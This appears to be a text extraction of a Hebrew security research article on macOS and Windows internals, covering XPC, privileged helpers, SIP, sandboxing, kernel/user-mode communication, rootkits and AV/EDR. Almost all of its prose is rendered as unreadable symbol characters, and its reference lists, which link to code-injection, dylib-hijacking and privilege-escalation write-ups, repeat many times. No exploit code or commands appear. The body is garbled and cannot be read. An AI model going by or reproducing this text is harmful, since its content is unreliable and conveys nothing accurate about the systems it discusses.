˸˷˶ x˞ ˢ˶ˣ˴˸ ˸ˬ˶˟ ˸˩˶˰ˬ x˞ ˢ˦˧˪˷ ˢ˶ˬˣ˥˟ Φ˭˸˧ˮ ˞ˣ˴ˬ˪ ˸˞ ˫˧˪˩ˢ ˫˧˷˶ˣˬˢ ˫ˣ˵˧ˬ˟ 

/Library/PrivilegedHelperToolsΦ 

 ˰ˡ˧ˬ˪ ˦˶ˣ˲ˬ ˶˸ˣ˧ ˸ˣ˧ˮ˲ˢˣ ˪˰ ˸ˣ˲˵˸ˬ XPC Σ˭˸˧ˮ ˶˵˟˪ ˫˧ˠˣ˪˟˟ ˫˧˶ˬ˞ˬ˟ˣ ˫˧˞˟ˢΥ 

¶ The Evil Bit: XPC 

¶ Offensive Security: Microsoft Teams macOS Local Privilege Escalation 

¶ YouTube: Understanding XPC Mechanism and Attacks 

 

 

http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://developer.apple.com/documentation/xpc
https://theevilbit.github.io/tags/xpc/
https://www.offsec.com/offsec/microsoft-teams-macos-local-privesc/
https://www.youtube.com/watch?v=ezxD5M90Mmc
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˫ˣ˩˧˯ 

˶ˬ˞ˬ˟ ˢˤ ˣˮ˶˟˧ˡ ˪˰ ˢˮ˟ˬ ˪˷ ˸ˣ˧˴˵˧˪˲˞ macOS ˣˮ˶˴˧ˣ ˢ˧˴˵˧˪˲˞ ˢˬˡ ˨˶ˣ˴˪ ˢˬˠˡˢ Φˣˮ˧˞˶ˢ ˡ˴˧˩ 

˶˧ˡˠˢ˪ ˧˯˵ˣ˶˲ ˥˸ˮ˪ˣ ˸˶ˣ˟˰˸ ˸˷˶ Σ˫ˠˣ ˣˮ˶˟˰ ˪˰ ˶˲˯ˬ ˸ˣ˩˶˰ˬ ˢˮˠˢ ˣˬ˩ SIP xπApp Sandbox Φˣˮ˰˴˧˟ 

˥ˣ˸˧ˮ ˫˧˴˟˵ Σ˫˰ ˷ˠˡ ˪˰ ˸˵˧ˡ˟ entitlements Σ˸ˣˣˢˬˢ ˵˪˥ ˧˸ˣ˰ˬ˷ˬ ˸ˣ˵˧ˡ˟˟ PT Φˮ˟˱˯ˣ Σˣˮˠ˴ˢ ˶˲˯ˬ 

˸ˣ˲˵˸ˬ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˧˴˵˧˪˲˞˪ macOSΦ 

ˣˮ˞ ˫˧ˣˣ˵ˬ ˰ˡ˧ˬˢ˷ ˢˤˢ ˢ˧ˢ˧ ˧˷ˣˬ˧˷ ˧˵ˡˣ˟˪ ˸ˣ˶˧ˡ˥ ˫˧˶˵ˣ˥ˣ ˫˧˵˯ˣ˰ˢ ˸ˣ˧˴˵˧˪˲˞˟ macOSΦ 

 

ˢ˧˲˶ˠˣ˧˪˟˧˟ 

¶ https://developer.apple.com/documentation/bundleresources 

¶ https://developer.apple.com/documentation/bundleresources/information_property_list 

¶ https://developer.apple.com/documentation/servicemanagement/  

¶ https://developer.apple.com/documentation/bundleresources/placing_content_in_a_bundle 

¶ https://www.kodeco.com/731-macos-development-for-beginners-part-1 

¶ https://developer.apple.com/documentation/security/app_sandbox?language=objc 

¶ https://developer.apple.com/documentation/xcode/configuring-the-macos-app-sandbox/  

¶ https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution 

¶ https://support.apple.com/en-il/HT204899 

¶ https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_

Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP400164

62-CH2-SW1 

¶ https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_prot

ection?language=objc 

¶ https://www.youtube.com/watch?v=c8Iqbydj4IU 

¶ https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/  

¶ https://developer.apple.com/documentation/security/code_signing_services 

¶ https://sec.okta.com/articles/2018/06/issues-around-third-party-apple-code-signing-checks 

¶ https://developer.apple.com/documentation/security/hardened_runtime?language=objc 

¶ https://developer.apple.com/documentation/bundleresources/entitlements 

¶ http://www.newosxbook.com/tools/jtool.html 

¶ https://objective-see.org/tools.html 

¶ https://frida.re 

¶ http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/ 

https://developer.apple.com/documentation/bundleresources
https://developer.apple.com/documentation/bundleresources/information_property_list
https://developer.apple.com/documentation/servicemanagement/
https://developer.apple.com/documentation/bundleresources/placing_content_in_a_bundle
https://www.kodeco.com/731-macos-development-for-beginners-part-1
https://developer.apple.com/documentation/security/app_sandbox?language=objc
https://developer.apple.com/documentation/xcode/configuring-the-macos-app-sandbox/
https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution
https://support.apple.com/en-il/HT204899
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection?language=objc
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection?language=objc
https://www.youtube.com/watch?v=c8Iqbydj4IU
https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://developer.apple.com/documentation/security/code_signing_services
https://sec.okta.com/articles/2018/06/issues-around-third-party-apple-code-signing-checks
https://developer.apple.com/documentation/security/hardened_runtime?language=objc
https://developer.apple.com/documentation/bundleresources/entitlements
http://www.newosxbook.com/tools/jtool.html
https://objective-see.org/tools.html
https://frida.re/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
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¶ https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x 

¶ https://objective-see.org/products/dhs.html 

¶ https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-i-

17ed375f736 

¶ http://newosxbook.com/src.jl?tree=listings&file=inject.c 

¶ https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a 

¶ https://theevilbit.github.io/tags/xpc/ 

¶ https://www.offsec.com/offsec/microsoft-teams-macos-local-privesc/ 

¶ https://www.youtube.com/watch?v=ezxD5M90Mmc 

 
  

https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x
https://objective-see.org/products/dhs.html
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-i-17ed375f736
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-i-17ed375f736
http://newosxbook.com/src.jl?tree=listings&file=inject.c
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://theevilbit.github.io/tags/xpc/
https://www.offsec.com/offsec/microsoft-teams-macos-local-privesc/
https://www.youtube.com/watch?v=ezxD5M90Mmc
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˟ˣˤ˰ ,ˢˤ ˨˧˪˰ˬ 

˸˞ˬ ˸˪˧ˠ ˧˷ 

 

ˢˬˡ˵ˢ 

˫˪ˣ˰˟ ˥ˣ˸˧˲ ˸ˣ˵ˤˣˮˢ ˡ˧ˬ˸ ˫˧˧˵ ˨˶ˣ˴ ˱˧˯ˣˢ˪ ˡˣ˰ ˸ˣ˟˩˷ ˢˮˠˢ ˢ˞˟˥ˢˣ Σ˶ˣˬ˷˪ ˪˰ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ 

˸˧˯˧˯˟ ˨ˣ˸ ˧ˡ˩ ˸ˣ˪˧˰˲ ˸˶˸˯ˣˬ ˪˩˩ ˶˷˲˞ˢ ˸ˣ˩˶˰ˬ˟ ˸ˣ˲˵˸ˣˬˢ Φ˦˟˧ˢ ˫˧ˣ˯ˬ ˪ˣ˩˧˷ ˱˧˯ˣˢ˪ ˸˟˩˷ 

Ϧ˨ˣ˟˧˯ Ϧˣˤ˩ ˞ˣˢ ˷ˣˬ˧˷ ˫˧˵˪˥˟ ˫˧˧˪ˮ˶˵ x˞ ˣ˪˧˲˞ ˣˮ˟ˢ˵ˤ ˞˧ˢ˷ ˧˶ˬˠ˪ ˸˯˯ˣ˟ˬ ˪˰ ˢ˴˧˶ ˟π 

kernelmode Φ˧ˣˮ˧˷ ˢˤ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˪˧˰˧ ˶˲˯ˬˬ ˸ˣ˟˧˯Υ 

мΦ ˶˲˯ˬ ˭˦˵ ˡˣ˞ˬ ˪˷ ˫˧˥˸˲ˬ ˫˧˶˵ˣ˥ˣ ˫˧˶˧˩ˬ ˸˞ ˸ˣ˪˧˰˲ˢ ˸˟˧˟˯˟ ˪ˮ˶˵ˢ ˭˩˪ˣ ˭˧˞ ˢ˟˶ˢ ˫˧˷ˮ˞ 

ˣ˪˩ˣ˧˷ ˪˪˩˟ ˪˧˥˸ˢ˪ ˶ˣ˵˥˪ ˸˞ .ˢ˵ˤˣˮˢ 

нΦ ˡˣ˵ ˧˪ˮ˶˵ ˞ˣˢ ˨˶ˡ˟ ˪˪˩ ˶˸ˣ˧ ˨˟ˣ˯ˬ Σ˫˰ ˶˸ˣ˧ ˫˧˦˟˧ˢ ˣˮ˩˸˫˧˧˸ ˸ˣ˲˷˟˷ ˸ˣˢˣ˟ˠ ˶˸ˣ˧ ˞˪ ˣ˧ˢ ˫˶ˣˠ 

ˢ˟˷˥ˬ˪ ˢ˟˶ˢˣ ˸ˣ˪ˣ˰˲ ˸ˣ˲˯ˣˮ ˸ˣ˷ˣ˰˷ ˷ˣˬ˧˷ ˸ˣ˧ˠˣ˪ˣˮ˩˦˟ ˸ˣ˧ˬ˧ˮ˲ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Σˢˬ 

˶ˬˣ˞˷ ˨˧˶˴˷ ˭˧˟ˢ˪ ˢ˪ˣ˰ˬ ˸˞ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˢ˟˷ ˣˮ˥ˮ˞ ˫˧˞˴ˬˮ ˧ˡ˩ ˪˧˥˸ˢ˪ .˶ˣ˵˥˪ 

оΦ ˫˞ ˣˮ˥ˮ˞ ˶˟˩ ˫˧˞˴ˣˬ ˨˶ˡ ˰˧ˠˢ˪ ˢ˴˧˶˪ ˪ˮ˶˵˟ Σ˷˧ ˣˮ˪ ˢ˟˶ˢ ˶˸ˣ˧ ˥ˣ˩ ˬˢ˧ˢ˷ ˣˮ˪ ˟ ˢ˴˧˶˟-

usermode ˭˩˪ˣ ˪˩ˣˮ ˪˟˵˪ ˢ˦˧˪˷ ˢ˵ˤ˥ ˸˪˪ˣ˩ˣ ˶˸ˣ˧ ˪˰ ˸˩˶˰ˬˢ ˸˲˵˸ˣˬˢ ˶ˣˤ˰˸˷ ˣˮ˪ ˫ˡ˵˪ ˸˞ 

˸ˣ˶˦ˬˢ .ˣˮ˪˷ 

 

˵˪˥ ˭˦˵ ˡˣ˞ˬ ˸ˣ˵ˤˣˮˢˬ ˣ˷ˬˬ˧ ˸˞ ˪˩ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˨ˣ˸˟ ˵˪˥ ˧˪ˮ˶˵ ˡ˥˞ ύ˪˪ˠ˟ ˸ˣ˧˩ˣ˟˧˯ ˥ˣ˸˧˲ˢ 

˸ˣ˷˧ˠ˶ˣ ˡˣ˵ˢ ˳˶˷ ό˭˩˪ˣ ˨˶ˡ˟ ˪˪˩ ˢ˷˰ˮ ˟ˣ˪˧˷ ˭˧˟ ˵˪˥ ˬ˯˯ˣ˟ usermode ˭˧˟˪ ˵˪˥ ˯˯ˣ˟ˬ 

kernelmode Φ˶˟ˡˢ ˢˤˢ ˥˸ˣ˲ ˣˮ˪ ˟˪˷ ˡ˥˞ ˸˶ˣ˦˵˦˧˩˶˞˟ ˢ˵ˤˣˮˢ ˨˲ˣˢ˷ ˫ˣ˵ˬ˪ ˧˶˷˲˞ ˡˣ˞ˬ ˧ˣˢ˧ˤ˪ 

˸ˣ˪˧˰˲ˢ Υ˸˶ˣ˷˵˸ˢ ˭˧˟ ˧˵˪˥ ˢ˵ˤˣˮˢ ˫˧˪˰ˣ˲ˢ ˫˧˦˯˵˦ˮˣ˵˟ ˫˧ˮˣ˷ˢ Φ 

˶ˬ˞ˬ˟ ˢˤ ˶˞˸˞ ˸˞ ˸ˣ˦˧˷ˢ ˸ˣ˴ˣ˲ˮˢ ˶˸ˣ˧˟ ˸˶ˣ˷˵˸˪ ˭˧˟ ˫˧˵˪˥ ˫˧˯˯ˣ˟ˬ usermode ˭˧˟˪ ˥˫˧˵˪ 

˫˧˯˯ˣ˟ˬ kernelmode ˢ˯ˮ˞ˣ ˶ˣ˵˯˪ ˢˬ˩ ˶˸ˣ˧˷ ˰ˡ˧ˬ ˶ˣˤ˰˧˷ ˫˧˶˵ˣ˥˪ Σ˫˧˥˸˲ˬ ˸˟˧˟˯˟ ˸˩˶˰ˬ 

ˢ˪˰˲ˢˢ ˣ˪˧˲˞ˣ ˫˧˷ˮ˞ ˫˧˵˯˰˸ˬ˷ ˟πGame Hacking x˞ ˡˠˮˬ π ˢˮˠˢ ˡˠˮ Game HackingΦ 
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˟ ˸ˣ˧˞˷˥ ˪˷ ˸˧˯˧˯˟ ˢˮ˟ˢ-Inter-component Communication 

Inter-component communication ˞ˣˢ x˵˦˲˯ˮ ˶˞˸ˬ˷ ˸˶ˣ˷˵˸ ˭˧˟ ˫˧˟˞˷ˬ ˫˧ˮˣ˷ ˸˩˶˰ˬ˟ 

ˢ˪˰˲ˢˢ ˪˩˟ ˢ˶ˣ˴ ˞˧ˢ˷ Σ˭˧˟ ˫˞ ˢˤ ˸˶˟˰ˢ ˰ˡ˧ˬ Σ˸˴˶ˢ ˸ˣˡˣ˵˲ Σ˸˥˧˪˷ ˸ˣ˰ˡˣˢ ˪˰ ˧˟ˠ ˦ˮ˶˦ˮ˧˞ˢ x˞ 

ˢ˶˦ˬ ˸˶˥˞ Φ˪˪ˠ˟ ˶ˬ˞ˬ˟˷ ˢˤˢ ˤ˩˶˸˞ ˪˰ ˸˶ˣ˷˵˸ ˭˧˟ ˸ˣˮ˩ˣ˸ ˸ˣ˴˶ˢ ˟πusermode ˭˧˟˪ ˸ˣˮ˩ˣ˸ 

˸ˣ˴˶ˢ ˟πkernelmode Σˢˤ ˠˣ˯ ˸˶ˣ˷˵˸ˢ ˭ˣˣ˩˸˞˷ ˣ˧˪˞ ˶˟ˡ˞˷ ˪˰ Ϧinter-component 

communication Ϧ 

˩˶˟ ˫˧˶ˬ˞ˬ˟ ˫˧ˬˡˣ˵ˢ ˧˪˷ ˧˸˶˞˧˸ ˢˬ˩ ˸ˣ˦˧˷ ˸ˣ˧˶˷˲˞ ˸˶ˣ˷˵˸˪ ˭˧˟ ˫˧˵˪˥ ˸ˣ˩˶˰ˬ˟ ˯ˣˡˮ˧ˣˣ Σˣˬ˩ 

˷ˣˬ˧˷ ˫˧˴˟˵˟ ΣNamed Pipes ,Sockets ˡˣ˰ˣ Σ˨˞ ˸˪˞˷ˮ ˢ˪˞˷ˢ Υˢˬ ˢ˧˧˰˟ˢ ˷ˣˬ˧˷˟ ˪˩˟ ˡ˥˞ 

˸ˣ˧ˣ˶˷˲˞ˢˬ ˣ˪˪ˢ Σˢˬˣ ˨˲ˣˢ ˢ˦˧˷ ˸˥˞ ˣ˧˪˶˸ Ϧ˸˞˟˥ˣˬ Ϧˢ˦˧˷ˬ ˸˶˥˞ Κˤ˞ ˢ˟ˣ˷˸ˢ ˢ˪˞˷˪ ˸˞ˤˢ 

˞˧ˢ ˭˧˞˷ ˨˶ˡ ˸˥˞ ˞˧ˢ˷ ˧˩ˢ ˢ˪˧˰˧ ˸˞˟˥ˢ˟ ˸ˣ˪˧˰˲ ˪˰ ˸˩˶˰ˬˢ Φˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˶ˣ˵˥ˮ ˸˞ ˸˩˶˰ˬ 

ˢ˪˰˲ˢˢ ˢ˯ˮˮˣ ˱ˣ˵˰˪ ˢˬ˩ ˶˸ˣ˧˷ ˫˧ˮˣˮˠˮˬ ˫˧˧˸ˮˠˢ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˧ˡ˩ ˡ˧˶ˣˢ˪ ˸˞ ˫˧˧ˣ˩˧˯ˢ ˣˢˤ˧˷ 

˸˞ ˸ˣ˪˧˰˲ˢ ˣˮ˪˷ Σ˨˞ ˪˪ˠ˟ ˪ˡˣˠ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ύ˧˪˟ ˯˥˧˧˸ˢ˪ ˪˩˪ sπThird Party AVs/EDRs ό

ˢˡ˟ˣ˰ˢˣ ˣˮ˥ˮ˞˷ ˞˪ ˫˧˰ˡˣ˧ ˵ˣ˧ˡ˟ ˢˬ ˪˩ ˭ˣ˶˸˲ ˢˮˠˢ ˵ˡˣ˟ Σˣ˪˧˞ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮ ˫˧˥ˠ˷ˣˬ ˪˰ ˧ˡ˧ ˭ˣ˶˸˲ˢ 

ˣ˪˧˞ˣ ˫˧˧ˣˮ˧˷ ˞ˣˢ ˠˣˣ˯˧ ˶ˣ˸˟ Ϧ˸ˣ˪˧˰˲ ˸˧˸˵ˤˣˮ ˸˩˶˰ˬ˟ Ϧ˞˪ ˪˩ˣˮ ˶ˣ˴˧˪ ˭ˣ˶˸˲ ˞ˣˢ˷ ˧˩ˢ ˪˧˰˧Φ 

ˢ˟ˣ˷˸ ˸˲˯ˣˮ ˢ˪˞˷˪ ˞˧ˢ ˥ˢˢ˷ˢ˦˪ ˷ˬˬ ˸˧ˣ˪˸ ˢ˶˵ˬ Σ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˷-sAV  ˪˷Kaspersky ˵ˡˣ˟ 

ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˷πWindows Antimalware ˞˪ ˟ ,˵ˡˣ˭˩˪ˣ ˫˞ Kaspersky ˞˪ ˢ˧ˢ˧ ˭˵˸ˣˬ ˪˰ ˸˩˶˰ˬˢ ˪˩ˣˮ 

˪˴ˮ˪ ˸˞ ˣ˸ˣ˞ ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˣˮ˧˸˟ˣ˦˪ Φˢ˩˶˰ˢˢ ˸˧˪˪˩ˢ ˞˧ˢ ˫ˠ˷ ˫˞ ˫˧˧˵ ˭ˣ˶˸˲ ˢˤ˩ Σ˞ˣˢ ˢ˧ˢ˧ ˯˯ˣ˟ˬ 

0day Υˢ˷˪ˣ˥ ˡˣ˰˷ ˞˪ ˢ˲ˣ˷˥ ˶ˣ˟˧˴˪ Σ˭˩˪ˣ ˞ˣˢ ˞˪ ˢ˧ˢ˧ ˣˢ˷ˬ ˧ˮ˞˷ ˪ˣ˩˧ x˞ ˰ˡˣ˧ ˱ˣ˷˥˪ ˫˩˪ ˶ˬ˞ˬ˟ 

ˢˤΦ 

 

 Υ ϐcomponent_communication.html-20.05/architecture/Interfoundations/-https://genode.org/documentation/genodeώ 

 

 

https://genode.org/documentation/genode-foundations/20.05/architecture/Inter-component_communication.html
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˫ˣˬ˧˥˟ ˪˧˥˸ˮ... 

˵˪˥˟ ˢˤ ˢ˯˩˞ ˢˬ˩ ˸ˣ˦˧˷ ˸˶ˣ˷˵˸ ˸ˣ˧˯˧˯˟ ˡˣ˞ˬ ˶ˣ˟˰ ˷ˣˬ˧ˬ Inter-component Communication 

˶˞˸˞ˣ ˸˞ ˪˩ sπDigital Footprints ˸ˣ˦˧˷˷ ˣ˪˞ ˸ˣ˶˧˞˷ˬ Σ˨˧˞ˣ ˣ˪˩ˣ˧ ˸ˣˢˤ˪ ˣˮ˸ˣ˞ ˫˸˶ˤ˰˟ ˫˧˲˵ˣ˸˩ κ 

˨˧˞ ˮ˪˩ˣ ˷ˬ˸˷ˢ˪ ˭˸ˣ˞˟ Digital Footprints ˧ˡ˩ ˸ˣˢˤ˪ ˫˧˲˵ˣ˸ ˶ˣ˸˟ ˫˧ˮˠˬ. 

 

˸˶ˣ˷˵˸ ˸˯˯ˣ˟ˬ ˫˧˴˟˵ 

˨˶ˡ ˭ˣ˯˥˞ˢ ˸˧˯˧˯˟ˢ ˶˸ˣ˧˟ ˣˮ˪ˣ˩˷ ˶˟˩ ˫˧˶˧˩ˬ ˫ˢ ˫˧˴˟˵ x˞ ˸ˣ˧˵˧˸ ˸ˣ˞˴ˬˮ˷ ˪˰ ˡ˥˞ ˢˬπhard disks 

˫˧˶˟ˣ˥ˬˢ ˸˩˶˰ˬ˪ Φ˸˶ˣ˷˵˸ ˭˧˟ ˫˧˵˪˥ ˪˷ ˢ˵ˤˣˮ ˸˯˯ˣ˟ˬˢ ˪˰ ˫˧˴˟˵ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˸˧˸˧˧˰˟ ˢ˟˶ˢˬ 

ˡˣ˞ˬ ˸ˣ˟˧˯ ΣˢˬπDigital Footprint ˪˷ ˸˶˧˴˧ ˳˟ˣ˵ ˧ˣ˪ˠˢ ˪˩˪ ˫˧˷ˬ˸˷ˬˢ ˸˩˶˰ˬ˟ κ ˢ˟˧˸˩ ˣ˸ˣ˞˪ 

˳˟ˣ˵ ˡ˰ˣ ˸˲˧˷˥˪ ˰ˡ˧ˬ ˷˧ˠ˶ ˪˷ ˧˵˪˥ ˢ˵ˤˣˮˢ ˪˩˪ ˫˶ˣˠ ˶˥˞ ˷ˬ˸˷ˬ˷ ˸˩˶˰ˬ˟Φ 

ˡ˴ˢˬ ˪˷ ˫˧ˮˠˬ ˢˤ ˶ˬˣ˞ ˢˡˣ˟˰ˢ˷ ˣˮ˪˷ ˢ˧ˢ˸ ˡˣ˞ˬ ˢ˪˵ Σˡ˥ˣ˧ˬ˟ ˫˞ ˭˩ˣ˸ˢ ˨ˣ˸˟ ˳˟ˣ˵ˢ ˡ˰ˣˮ 

˸˶˟˰ˢ˪ ˰ˡ˧ˬ ˭˧˟ ˧˵˪˥ ˢ˵ˤˣˮˢ ˢ˶˵ˬ˟ˣ ˭˩ˣ˸ˢˣ ˞˪ ˭˲˴ˣˬ ˞˟˥ˣˬˣ ˣˮ˸˧˞ˬ ˭˩ˣ˸ˢ ˧˶ˣ˵ˬˢ ˣ˪˷ Φ˪˩˟ ˨˶ˡ 

˸˶ˣ˷˵˸ ˭˧˟ ˧˵˪˥ ˢˮ˩ˣ˸ ˫˧ˮˣ˷ ˶˟ˡˮ ˦ˬ˶ˣ˲˟ ˫˧ˣ˯ˬ ύ˨˶ˡ˟˷ ˪˪˩ ˞˶˵ˮ ˪ˣ˵ˣ˦ˣ˶˲ ˸˶ˣ˷˵˸ ό˪ˣ˩˧˷ 

˸ˣ˧ˢ˪ ˦ˬ˶ˣ˲ ˫˧˧˵ x˞ ˦ˬ˶ˣ˲ ˣˮ˥ˮ˞˷ ˶ˣ˴˧ˮ Σˢ˶˵ˬ˟ˣ ˪˷ ˸˶ˣ˷˵˸ ˸˶ˤ˰˟ ˫˧˴˟˵ ˞˪ ˵˶ ˪˩ˣˮ˷ ˠ˧˷ˢ˪ 

˰ˡ˧ˬ ˧˦˧˶˵ ˢ˵ˤˣˮ˪ ˪˩ˣ˧˷ ˷ˣ˲˥˪ ˢ˸ˣ˞ ˸˞ˣ ˸ˣ˪˧˰˲ˢ ˢ˪˷ Σ˞˪˞ ˫ˠ ˪˩ˣˮ ˭˧˟ˢ˪ ˸˞ ˸˶ˣ˴ ˸˶ˣ˷˵˸ˢ ˪˷ 

˪˩ ˫˧˵˪˥ˢ ˸ˣˢˤ˪ˣ ˸ˣ˪˧˰˲ ˸˲˯ˣˮ ˪˷ ˢ˵ˤˣˮˢ Φ 

˪˩ˣˮ ˟˪˷˪ ˸˞ ˸ˣ˞˧˴ˬˢ ˢ˪˞ˢ ˡ˥˧˟ ˫˰ ˶ˣ˵˧˟ ˪˷ ˪˩ ˸ˣ˞˧˶˵ˢ ˸ˣ˶ˣ˷˵ˢ ˸˶˧˴˧˪ ˫˧˴˟˵ ˧ˣˮ˧˷ˢˣ 

˸˩˶˰ˬ˟ ˫˧˴˟˵ˢ ˣˬ˩ CreateFileA/W x˞ WriteFile x˨˩ ˪˩ˣˮ ˸ˣˢˤ˪ ˸ˣ˪˵˟ ˸˞ sπintercomponent 

communicationΦ ˸ˣ˶ˬ˪ ˷ˣˬ˧ˬˢ˷ ˪˷ ˨˧˪ˢ˸ ˢˤ˩ ˧l ˭˟ˣˬ ˣ˧˪˞ˬ ˧ˬ˪ ˶˧˩ˬ˷ ˦˰ˬ WinAPI Σ˫˧ˠˡ˞ 

˭ˣ˶˸˲ ˢˬˣˡ ˧˸˷ˬ˧ˬ˷ ˦˵˧ˣ˶˲˟ s-rootkit ˧˸˶˟˧ˡ˷ ˣ˧˪˰ ˫˧˶ˬ˞ˬ˟ ˫˧ˬˡˣ˵ ˧˪˷ Φ 

˦˵˧ˣ˶˲˟ ˧˸˧˴˶ ˷ˬˬ˪ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˸˶˷˲˞ˬ˷ ˧˪ ˭˩ˡ˰˪ ˸˞ ˵˪˥ˢ ˮ˶˵ˢ˧˪ ˪˷ ˢ˵ˤˣˮˢ ˢ˶˵ˬ˟ ˶˟˩˷ 

˸ˬ˧˧˵ ˢ˯˶ˠ ˸ˬˡˣ˵ Σ˧˸˧˷˰ˣ ˸˞ ˢˤ ˸˶ˤ˰˟ ˭ˣˮˠˮˬ ˧˸˞˶˵˷ x˪ ˳˟ˣ˵ ˸ˣ˧˦ˮˮ˧ˬˣˡ Φ˫˞ ˳˟ˣ˵ˢ ˫˧˧˵ 

˸˪˥˸ˢ˟ sπdriver Υ˫˧˧˵ ˵˪˥ ˧˪ˮ˶˵ ˭˩ˡˣ˰ˬ ˶˸ˣ˧ ˳˶˷ ˪˰ ˸˩˶˰ˬˢ Σ˭˩˪ˣ ˵˧˯˲ˮ ˸˞ ˢ˴˧˶ˢ Σ˫˞ ˳˟ˣ˵ˢ 

˞˪ ˫˧˧˵ Υπsdriver ˶˴ˣ˧ ˸˞ ˳˟ˣ˵ ˸ˣ˧˦ˮˮ˧ˬˣˡˢ ˸ˣˬ˩˪ ˸˪˟ˠˣˬ ˪˷ ˭ˬˤ ˧ˡ˩ ˫ˣ˶ˠ˪ ˪˩˪ sπinstances 

˫˧˶˥˞ˢ ˪˷ sπdriver ˵˧˯˲ˢ˪ ˳ˣ˶˪ Φ 
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ˢ˵˧ˡ˟ˢ ˸˞ˤˢ ˸˰˴˟˸ˬ ˢ˞˪ˣ˪˟ ˸˧˲ˣ˯ˮ˧˞ ˭˩˪ˣ ˢ˵˧ˡ˟ˢ ˢˮˣ˷˞˶ˢ ˪˩ ˫˰˲ ˵˧˯˲˸ ˸˞ ˢ˴˧˶ˢ ˪˷ ˪˩ 

Instance ˞˪ ˭˩ˡˣ˰ˬ: 

 

˸˶ˣ˷˵˸ ˸˯˯ˣ˟ˬ  Registry Keys & Values 

ˢˬˣˡ˟ ˸˩˶˰ˬ˪ ˫˧˴˟˵ˢ ˢ˪˧ˠ˶ˢ ˸ˮ˯˥˞ˬ˷ ˰ˡ˧ˬ ˧˩˶˶˧ˢ˟ sˢ˰ˣ˟˵ ˢ˶ˣ˴˟ ˪˷ ˫˧˴˟˵ ˸ˣ˧˵˧˸ˣ Σ˸ˬ˧˧˵ 

˸˩˶˰ˬ ˞˥˭ˣ˯ ˸˲˯ˣˮ ύ˪˰ˣ˲˟˷ ˫ˠ ˸˞˴ˬˮ ˨ˣ˸˟ ˸˩˶˰ˬ ˫˧˴˟˵ˢ ˢ˪˧ˠ˶ˢ ό˫˧˞˶ˣ˵˷ ˢ˪ Registry Φ

˸˩˶˰ˬ˟ ˣˤˢ ˰ˡ˧ˬ ˶ˬ˷ˮ ˢ˶ˣ˴˟ ˪˷ key:value ˸˩˶˰ˬˢˣ ˢ˪˧˥˸ˬ ˬπр ˸ˣ˥˸˲ˬ ˯˧˯˟ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˭˞˩Υ 

 

˭˲ˣ˞˟ ˧˪˪˩ ˷˧ н ˧ˠ˷ˣˬ ˯˧˯˟ ˸˩˶˰ˬ˟ sπRegistryΥ 

мΦ ˥˸˲ˬ - ˪ˣ˪˯ˬ ˫˧ˣ˯ˬ ˨ˣ˸˟ ˸˩˶˰ˬˢ ˣ˟˷ ˷˧ ˫˧˩˶˰ξ˸ˣ˥˸˲ˬ ˫˧˶˥˞ Φˢ˴˶ˮ˷˩ ˯˧ˮ˩ˢ˪ξ˱ˣ˪˷˪ 

